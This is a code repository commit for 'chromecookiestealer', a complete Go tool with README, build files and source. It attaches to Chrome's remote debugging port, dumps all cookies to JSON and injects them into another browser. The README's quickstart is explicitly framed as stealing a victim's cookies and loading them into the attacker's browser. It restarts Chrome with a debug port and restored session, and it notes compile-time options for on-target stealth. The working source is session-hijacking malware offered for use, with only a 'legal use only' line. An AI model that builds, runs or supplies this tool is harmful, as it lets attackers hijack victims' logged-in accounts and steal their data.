🤬
  • Initial commit

  • Loading...
  • Stuart committed 10 months ago
    f927123e
  • ■ ■ ■ ■ ■ ■
    .gitignore
     1 +.*.swp
     2 +chromecookiestealer
     3 +*.json
     4 + 
  • ■ ■ ■ ■ ■ ■
    LICENSE
     1 +Copyright (c) 2023, J. Stuart McMurray
     2 +All rights reserved.
     3 + 
     4 +Redistribution and use in source and binary forms, with or without
     5 +modification, are permitted provided that the following conditions are met:
     6 + * Redistributions of source code must retain the above copyright
     7 + notice, this list of conditions and the following disclaimer.
     8 + * Redistributions in binary form must reproduce the above copyright
     9 + notice, this list of conditions and the following disclaimer in the
     10 + documentation and/or other materials provided with the distribution.
     11 + * Neither the name of the the copyright holder nor the
     12 + names of its contributors may be used to endorse or promote products
     13 + derived from this software without specific prior written permission.
     14 + 
     15 +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
     16 +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
     17 +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
     18 +DISCLAIMED. IN NO EVENT SHALL J. STUART McMURRAY BE LIABLE FOR ANY
     19 +DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
     20 +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
     21 +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
     22 +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
     23 +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
     24 +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
     25 + 
  • ■ ■ ■ ■ ■ ■
    Makefile
     1 +# Makefile
     2 +# Build chromecookiestealer
     3 +# By J. Stuart McMurray
     4 +# Created 20230415
     5 +# Last Modified 20230519
     6 + 
     7 +.PHONY: all build check clean
     8 + 
     9 +BIN=chromecookiestealer
     10 + 
     11 +all: check build
     12 + 
     13 +build:
     14 + go build -v -trimpath -ldflags "-w -s" -o $(BIN)
     15 + 
     16 +check:
     17 + go test
     18 + go vet
     19 + staticcheck
     20 + 
     21 +clean:
     22 + rm -f $(BIN)
     23 + 
  • ■ ■ ■ ■ ■ ■
    README.md
     1 +Chrome Cookie Stealer (and injector)
     2 +====================================
     3 +Attaches to Chrome using its Remote DevTools protocol and
     4 +steals/injects/clears/deletes cookies.
     5 + 
     6 +Heavily inspired by
     7 +[WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut).
     8 + 
     9 +Cookies are dumped as JSON objects using Chrome's own
     10 +[format](https://chromedevtools.github.io/devtools-protocol/tot/Network/#type-Cookie).
     11 +The same format is used for cookies to be loaded.
     12 + 
     13 +For legal use only.
     14 + 
     15 +Features
     16 +--------
     17 +- Dump Chrome's cookies
     18 +- Inject dumped Cookies into (another instance of) Chrome
     19 +- Clear Chrome's cookies
     20 +- Defaults settable at compile time
     21 + 
     22 +Quickstart
     23 +----------
     24 +Steal a victim's cookies:
     25 +```sh
     26 +git clone https://github.com/magisterquis/chromecookiestealer.git
     27 +cd chromecookiestealer
     28 +go build
     29 +pkill Chrome
     30 +/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --restore-last-session # Varies by target
     31 +./chromecookiestealer -dump ./cookies.json
     32 +```
     33 + 
     34 +Inject into the attacker's local browser:
     35 +```sh
     36 +# Start Chrome with a debug port, as above.
     37 +./chromecookiestealer -clear -inject ./cookies.json
     38 +```
     39 + 
     40 +Usage
     41 +-----
     42 +```
     43 +Usage: chromecookiestealer [options]
     44 +Attaches to Chrome using the Remote DevTools Protocol (--remote-debugging-port)
     45 +and, in order and as requested:
     46 + 
     47 +- Dumps cookies
     48 +- Clears cookies
     49 +- Injects cookies
     50 +- Deletes selected cookies
     51 + 
     52 +Parameters for cookies to be deleted should be represented as an array of JSON
     53 +objects with the following string fields:
     54 + 
     55 +name - Name of the cookies to remove.
     56 +url - If specified, deletes all the cookies with the given name where domain
     57 + and path match provided URL.
     58 +domain - If specified, deletes only cookies with the exact domain.
     59 +path - If specified, deletes only cookies with the exact path.
     60 + 
     61 +Filenames may also be "-" for stdin/stdout.
     62 + 
     63 +Options:
     64 + -chrome URL
     65 + Chrome remote debugging URL (default "ws://127.0.0.1:9222")
     66 + -clear
     67 + Clear browser cookies
     68 + -delete file
     69 + Name of file containing parameters for cookies to delete
     70 + -dump file
     71 + Name of file to which to dump stolen cookies
     72 + -inject file
     73 + Name of file containing cookies to inject
     74 + -no-summary
     75 + Don't print a summary on exit
     76 + -verbose
     77 + Enable verbose logging
     78 +```
     79 + 
     80 +Building
     81 +--------
     82 +`go build` should be all that's necessary. The following may be set at
     83 +compile time with `-ldflags '-X main.Foo=bar'` for a touch more on-target
     84 +stealth.
     85 + 
     86 +Variable | Description
     87 +-----------|------------
     88 +DumpFile | Name of a file to which to dump cookies. Implies `-dump`
     89 +InjectFile | Name of a file from which to inject cookies. Implies `-inject`
     90 +DeleteFile | Name of a file with parameters describing cookies to delete. Implies `-delete`
     91 +DoClear | If set to any value, implies `-clear`
     92 + 
     93 +None of the above are set by default.
     94 + 
     95 +The Chrome DevTools Protocol is a bit of a moving target. It may be necessary
     96 +to use a newer version of the
     97 +[chromedp](https://pkg.go.dev/github.com/chromedp/chromedp) and
     98 +[cdproto](https://pkg.go.dev/github.com/chromedp/cdproto) libraries should this
     99 +program stop working. This can be done with
     100 +```sh
     101 +go get -u -v all
     102 +go mod tidy
     103 +go build
     104 +```
     105 +which could well have the side-effect of breaking everything else.
     106 + 
     107 +`¯\_(ツ)_/¯`
     108 + 
  • ■ ■ ■ ■ ■ ■
    chromecookiestealer.go
     1 +// Program chromecookiestealer: A stealer of Chrome cookies.
     2 +package main
     3 + 
     4 +/*
     5 + * chromecookiestealer.go
     6 + * chromecookiestealer: A stealer of Chrome cookies.
     7 + * By J. Stuart McMurray
     8 + * Created 20230515
     9 + * Last Modified 20230519
     10 + */
     11 + 
     12 +import (
     13 + "context"
     14 + "encoding/json"
     15 + "flag"
     16 + "fmt"
     17 + "io"
     18 + "log"
     19 + "os"
     20 + "strings"
     21 + "time"
     22 + 
     23 + "github.com/chromedp/cdproto/cdp"
     24 + "github.com/chromedp/cdproto/network"
     25 + "github.com/chromedp/cdproto/storage"
     26 + "github.com/chromedp/chromedp"
     27 +)
     28 + 
     29 +var (
     30 + /* ProgramStart notes when the program has started for printing the
     31 + elapsed time when the program ends. */
     32 + ProgramStart = time.Now()
     33 + 
     34 + /* Verbosef wil be a no-op if -verbose isn't given. */
     35 + Verbosef = log.Printf
     36 + 
     37 + DumpFile string
     38 + InjectFile string
     39 + DeleteFile string
     40 + DoClear string /* Nonempty to default to clearing. */
     41 +)
     42 + 
     43 +// DCP wraps network.DeleteCookiesParams with a String method.
     44 +type DCP network.DeleteCookiesParams
     45 + 
     46 +// String implements fmt.Stringer.
     47 +func (d DCP) String() string {
     48 + var sb strings.Builder
     49 + fmt.Fprintf(&sb, "<name:%q", d.Name)
     50 + if "" != d.URL {
     51 + fmt.Fprintf(&sb, " url:%q", d.URL)
     52 + }
     53 + if "" != d.Domain {
     54 + fmt.Fprintf(&sb, " domain:%q", d.Domain)
     55 + }
     56 + if "" != d.Path {
     57 + fmt.Fprintf(&sb, " path:%q", d.Path)
     58 + }
     59 + sb.WriteRune('>')
     60 + return sb.String()
     61 +}
     62 + 
     63 +// stdioFilename indicates we should use stdio and not a file.
     64 +const stdioFilename = "-"
     65 + 
     66 +var (
     67 + /* stdinDec is a decoder which reads from stdin. */
     68 + stdinDecoder = json.NewDecoder(os.Stdin)
     69 + stdinDecoderName = "stdin"
     70 +)
     71 + 
     72 +func main() {
     73 + /* Command-line flags. */
     74 + var (
     75 + noSummary = flag.Bool(
     76 + "no-summary",
     77 + false,
     78 + "Don't print a summary on exit",
     79 + )
     80 + verbOn = flag.Bool(
     81 + "verbose",
     82 + false,
     83 + "Enable verbose logging",
     84 + )
     85 + chromeURL = flag.String(
     86 + "chrome",
     87 + "ws://127.0.0.1:9222",
     88 + "Chrome remote debugging `URL`",
     89 + )
     90 + doClear = flag.Bool(
     91 + "clear",
     92 + "" != DoClear,
     93 + "Clear browser cookies",
     94 + )
     95 + )
     96 + flag.StringVar(
     97 + &DumpFile,
     98 + "dump",
     99 + DumpFile,
     100 + "Name of `file` to which to dump stolen cookies",
     101 + )
     102 + flag.StringVar(
     103 + &InjectFile,
     104 + "inject",
     105 + InjectFile,
     106 + "Name of `file` containing cookies to inject",
     107 + )
     108 + flag.StringVar(
     109 + &DeleteFile,
     110 + "delete",
     111 + DeleteFile,
     112 + "Name of `file` containing parameters for cookies to delete",
     113 + )
     114 + flag.Usage = func() {
     115 + fmt.Fprintf(
     116 + os.Stderr,
     117 + `Usage: %s [options]
     118 +Attaches to Chrome using the Remote DevTools Protocol (--remote-debugging-port)
     119 +and, in order and as requested:
     120 + 
     121 +- Dumps cookies
     122 +- Clears cookies
     123 +- Injects cookies
     124 +- Deletes selected cookies
     125 + 
     126 +Parameters for cookies to be deleted should be represented as an array of JSON
     127 +objects with the following string fields:
     128 + 
     129 +name - Name of the cookies to remove.
     130 +url - If specified, deletes all the cookies with the given name where domain
     131 + and path match provided URL.
     132 +domain - If specified, deletes only cookies with the exact domain.
     133 +path - If specified, deletes only cookies with the exact path.
     134 + 
     135 +Filenames may also be "-" for stdin/stdout.
     136 + 
     137 +Options:
     138 +`,
     139 + os.Args[0],
     140 + )
     141 + flag.PrintDefaults()
     142 + }
     143 + flag.Parse()
     144 + 
     145 + /* Work out verbose logging. */
     146 + if !*verbOn {
     147 + Verbosef = func(string, ...any) {}
     148 + }
     149 + 
     150 + /* Make sure we're doing something. */
     151 + if "" == DumpFile && !*doClear && "" == InjectFile &&
     152 + "" == DeleteFile {
     153 + log.Fatalf(
     154 + "Nothing to do; need -save, -clear, " +
     155 + "-load, and/or -delete",
     156 + )
     157 + }
     158 + 
     159 + /* Attach to Chrome. */
     160 + actx, acancel := chromedp.NewRemoteAllocator(
     161 + context.Background(),
     162 + *chromeURL,
     163 + )
     164 + defer acancel()
     165 + cctx, ccancel := chromedp.NewContext(actx)
     166 + defer ccancel()
     167 + browser, err := chromedp.FromContext(cctx).Allocator.Allocate(cctx)
     168 + if nil != err {
     169 + log.Fatalf("Error connecting to browser: %s", err)
     170 + }
     171 + xctx := cdp.WithExecutor(context.Background(), browser)
     172 + 
     173 + /* Do the things requested by the user. */
     174 + if "" != DumpFile {
     175 + if err := save(xctx); nil != err {
     176 + log.Fatalf("Error saving cookies: %s", err)
     177 + }
     178 + }
     179 + if *doClear {
     180 + if err := clear(xctx); nil != err {
     181 + log.Fatalf("Error clearing cookies: %s", err)
     182 + }
     183 + }
     184 + if "" != InjectFile {
     185 + if err := load(xctx); nil != err {
     186 + log.Fatalf("Error loading cookies: %s", err)
     187 + }
     188 + }
     189 + if "" != DeleteFile {
     190 + if err := del(xctx); nil != err {
     191 + log.Fatalf("Error deleting cookies: %s", err)
     192 + }
     193 + }
     194 + 
     195 + /* All done. */
     196 + if !*noSummary {
     197 + log.Printf(
     198 + "Done in %s.",
     199 + time.Since(ProgramStart).Round(time.Millisecond),
     200 + )
     201 + }
     202 +}
     203 + 
     204 +// save saves the cookies to DumpFile.
     205 +func save(ctx context.Context) error {
     206 + /* Grab the cookies. */
     207 + cookies, err := storage.GetCookies().Do(ctx)
     208 + if nil != err {
     209 + return fmt.Errorf("getting cookies from browser: %w", err)
     210 + }
     211 + Verbosef("Got %d cookies from browser", len(cookies))
     212 + 
     213 + /* Work out where we're saving cookies. */
     214 + var (
     215 + w io.Writer
     216 + fn string
     217 + )
     218 + if stdioFilename == DumpFile {
     219 + w = os.Stdout
     220 + fn = "stdout"
     221 + } else {
     222 + f, err := os.Create(DumpFile)
     223 + if nil != err {
     224 + return fmt.Errorf("opening savefile: %w", err)
     225 + }
     226 + defer f.Close()
     227 + w = f
     228 + fn = f.Name()
     229 + }
     230 + 
     231 + /* Save them. */
     232 + enc := json.NewEncoder(w)
     233 + enc.SetIndent("", "\t")
     234 + if err := enc.Encode(cookies); nil != err {
     235 + return fmt.Errorf("writing cookies to savefile: %w", err)
     236 + }
     237 + log.Printf("Wrote %d cookies to %s", len(cookies), fn)
     238 + 
     239 + return nil
     240 +}
     241 + 
     242 +// clear clears the browser's cookies.
     243 +func clear(ctx context.Context) error {
     244 + if err := storage.ClearCookies().Do(ctx); nil != err {
     245 + return err
     246 + }
     247 + log.Printf("Cleared browser cookies")
     248 + return nil
     249 +}
     250 + 
     251 +// load loads cookies into the browser from InjectFile.
     252 +func load(ctx context.Context) error {
     253 + /* Get the cookies to load. */
     254 + var cookies []*network.CookieParam
     255 + dec, name, cf, err := jsonDecoder(InjectFile)
     256 + if nil != err {
     257 + return fmt.Errorf(
     258 + "preparing to read from %s: %w",
     259 + InjectFile,
     260 + err,
     261 + )
     262 + }
     263 + defer cf()
     264 + if err := dec.Decode(&cookies); nil != err {
     265 + return fmt.Errorf("reading cookies from %s: %w", name, err)
     266 + }
     267 + Verbosef("Read %d cookies from %s", len(cookies), name)
     268 + 
     269 + /* Stick them in the browser. */
     270 + if err := storage.SetCookies(cookies).Do(ctx); nil != err {
     271 + return fmt.Errorf("loading cookies into browser: %w", err)
     272 + }
     273 + log.Printf("Set %d cookies in browser", len(cookies))
     274 + 
     275 + return nil
     276 +}
     277 + 
     278 +// del deletes cookies from DeleteFile.
     279 +func del(ctx context.Context) error {
     280 + /* Get the cookies parameters to delete. */
     281 + var params []DCP
     282 + dec, name, cf, err := jsonDecoder(DeleteFile)
     283 + if nil != err {
     284 + return fmt.Errorf(
     285 + "preparing to read from %s: %w",
     286 + InjectFile,
     287 + err,
     288 + )
     289 + }
     290 + defer cf()
     291 + if err := dec.Decode(&params); nil != err {
     292 + return fmt.Errorf("reading parameters from %s: %w", name, err)
     293 + }
     294 + Verbosef("Read %d parameters from %s", len(params), name)
     295 + 
     296 + /* Ask the browser to delete cookies. */
     297 + var nSuc int
     298 + for _, p := range params {
     299 + if err := (*network.DeleteCookiesParams)(
     300 + &p,
     301 + ).Do(ctx); nil != err {
     302 + log.Printf(
     303 + "Error deleting cookie with parameters %s: %s",
     304 + p,
     305 + err,
     306 + )
     307 + } else {
     308 + nSuc++
     309 + }
     310 + }
     311 + log.Printf("Deleted cookies with %d/%d parameters", nSuc, len(params))
     312 + return nil /* Errors logged above. */
     313 +}
     314 + 
     315 +// jsonDecoder returns a json.Decoder which reads from the file named f, or
     316 +// from stdin if f is stdinFilename. The name of the file is also returned.
     317 +// The returned function should be called to close the file.
     318 +func jsonDecoder(name string) (*json.Decoder, string, func() error, error) {
     319 + /* If we're reading from stdin, life's easy. */
     320 + if stdioFilename == name {
     321 + return stdinDecoder,
     322 + stdinDecoderName,
     323 + func() error { return nil },
     324 + nil
     325 + }
     326 + 
     327 + /* Prepare to read from a file. */
     328 + f, err := os.Open(name)
     329 + if nil != err {
     330 + return nil, "", nil, fmt.Errorf("opening: %w", err)
     331 + }
     332 + return json.NewDecoder(f), f.Name(), f.Close, nil
     333 +}
     334 + 
  • ■ ■ ■ ■ ■ ■
    go.mod
     1 +module github.com/magisterquis/chromecookiestealer
     2 + 
     3 +go 1.20
     4 + 
     5 +require (
     6 + github.com/chromedp/cdproto v0.0.0-20230517232016-8abedd933e7a
     7 + github.com/chromedp/chromedp v0.9.1
     8 +)
     9 + 
     10 +require (
     11 + github.com/chromedp/sysutil v1.0.0 // indirect
     12 + github.com/gobwas/httphead v0.1.0 // indirect
     13 + github.com/gobwas/pool v0.2.1 // indirect
     14 + github.com/gobwas/ws v1.2.1 // indirect
     15 + github.com/josharian/intern v1.0.0 // indirect
     16 + github.com/mailru/easyjson v0.7.7 // indirect
     17 + golang.org/x/sys v0.8.0 // indirect
     18 +)
     19 + 
  • ■ ■ ■ ■ ■ ■
    go.sum
     1 +github.com/chromedp/cdproto v0.0.0-20230220211738-2b1ec77315c9/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs=
     2 +github.com/chromedp/cdproto v0.0.0-20230517232016-8abedd933e7a h1:4L71yjSy4KvdESd4ph5LW46tINFZXKhQSEyc95/EUvY=
     3 +github.com/chromedp/cdproto v0.0.0-20230517232016-8abedd933e7a/go.mod h1:GKljq0VrfU4D5yc+2qA6OVr8pmO/MBbPEWqWQ/oqGEs=
     4 +github.com/chromedp/chromedp v0.9.1 h1:CC7cC5p1BeLiiS2gfNNPwp3OaUxtRMBjfiw3E3k6dFA=
     5 +github.com/chromedp/chromedp v0.9.1/go.mod h1:DUgZWRvYoEfgi66CgZ/9Yv+psgi+Sksy5DTScENWjaQ=
     6 +github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
     7 +github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
     8 +github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
     9 +github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
     10 +github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
     11 +github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
     12 +github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
     13 +github.com/gobwas/ws v1.2.1 h1:F2aeBZrm2NDsc7vbovKrWSogd4wvfAxg0FQ89/iqOTk=
     14 +github.com/gobwas/ws v1.2.1/go.mod h1:hRKAFb8wOxFROYNsT1bqfWnhX+b5MFeJM9r2ZSwg/KY=
     15 +github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
     16 +github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
     17 +github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
     18 +github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
     19 +github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
     20 +github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
     21 +github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
     22 +github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0=
     23 +golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
     24 +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
     25 +golang.org/x/sys v0.8.0 h1:EBmGv8NaZBZTWvrbjNoL6HVt+IVy3QDQpJs7VRIw3tU=
     26 +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
     27 + 
  • ■ ■ ■ ■ ■ ■
    staticcheck.conf
     1 +checks = ["all", "-ST1017"]
     2 + 
Please wait...
Page is in error, reload to recover